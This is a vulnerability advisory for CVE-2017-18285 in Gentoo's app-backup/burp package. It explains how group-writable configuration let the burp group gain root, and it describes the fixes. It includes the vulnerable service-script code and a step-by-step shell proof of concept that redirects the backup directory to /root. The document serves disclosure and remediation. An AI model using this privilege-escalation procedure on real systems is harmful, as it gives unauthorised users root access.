michael orlitzky

CVE-2017-18285: Gentoo app-backup/burp root privilege escalation via writable config

Product
Gentoo Linux app-backup/burp package
Versions affected
2.1.32 and earlier
Published on
2019-03-26
Author
Michael Orlitzky
Fixed in
Partially addressed in commits 25a4b59e and 5cd39164. Fully fixed in commits 4b3a76d6, 2faf0fcb, and version 2.1.32-r1.
Bug report
https://bugs.gentoo.org/641842
MITRE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18285
Acknowledgements
Marek Szuba for the fix and Christopher Díaz Riveros who requested the CVE.

Summary

Prior to version 2.1.32-r1, the Gentoo app-backup/burp package gives ownership of its configuration directory to the daemon's runtime group. That can be exploited by the runtime user (and other members of the group) to gain root privileges, because the OpenRC service script grants the group write access to a path defined in the main burp configuration file.

The general principle behind this exploit is explained in the article Configuration should be owned and writable only by root.

Details

The OpenRC service script for the Gentoo app-backup/burp package lets the burp group write to its configuration directory:

1
2
3
4
5
6
start_pre() {
  checkpath -o root:burp -m 0775 -d /etc/burp
  checkpath -o root:burp -m 0640 -f /etc/burp/burp-server.conf
  checkpath -o root:burp -m 0750 -d /etc/burp/clientconfdir
  checkpath -o root:burp -m 0770 -d "$(get_backup_dir)"
}

While the intent of the second checkpath is to make /etc/burp/burp-server.conf group-readable, the ability to write to /etc/burp makes that file ultimately group-writable because the whole file can simply be replaced. Before version 2.1.32-r1, the app-backup/burp ebuilds themselves granted these permissions,

1
2
3
4
5
6
7
8
9
src_install() {
  ...
  emake DESTDIR="${D}" install-configs
  fowners -R root:${PN} /etc/burp
  fperms 0775 /etc/burp
  fperms 0640 /etc/burp/burp-server.conf
  fperms 0750 /etc/burp/clientconfdir
  ...
}

but v2.1.32 and newer set safe initial permissions (fixed in commit 25a4b59e). The issue lingered in the OpenRC service script for much longer, however.

Write access to the configuration file can be exploited by the burp group to gain root privileges, because the service script trusts the contents of that file. In particular, the line

1
  checkpath -o root:burp -m 0770 -d "$(get_backup_dir)"

will make the result of the get_backup_dir function writable by the burp group. And that function simply parses the configuration file, which is writable by the group:

1
2
3
4
get_backup_dir() {
  grep '^directory = ' "/etc/burp/burp-server.conf" \
    | sed -e 's/^directory = //'
}

Thus by altering the value of directory, members of the burp group can gain write access to arbitrary directories.

Exploitation

For a proof-of-concept, first install a vulnerable version of app-backup/burp:

root # emerge app-backup/burp

Then, start the service once to ensure that the configuration directory is group-writable:

root # rc-service burp start

* /etc/burp: correcting mode

* Starting burp ... [ ok ]

root # rc-service burp stop

* Stopping burp ... [ ok ]

Now, as the burp user, replace the configuration file with a modified version that has directory = /root:

root # su -s /bin/sh burp

burp $ cd /etc/burp

burp $ sed 's:/var/spool/burp:/root:' burp-server.conf > burp-server.mine

burp $ rm -f burp-server.conf

burp $ mv burp-server.mine burp-server.conf

burp $ exit

And start the service one more time…

root # rc-service burp start

* /etc/burp/burp-server.conf: correcting mode

* /etc/burp/burp-server.conf: correcting owner

* /root: correcting mode

* /root: correcting owner

* Starting burp ...

and /root is writable by anyone in the burp group.

Resolution

The burp group does not need write access to its configuration directory, so the fix is simple: don't give the burp group write access to its configuration directory. This change must be made in two places, in the ebuild where the directories are created, and in the OpenRC service script that modifies the permissions each time the service is started.

The initial permissions, set by the ebuild itself, were fixed in commits 25a4b59e and 5cd39164 and released as part of version 2.1.32. The OpenRC service script was fixed later, in commits 4b3a76d6 and 2faf0fcb, as part of version 2.1.32-r1.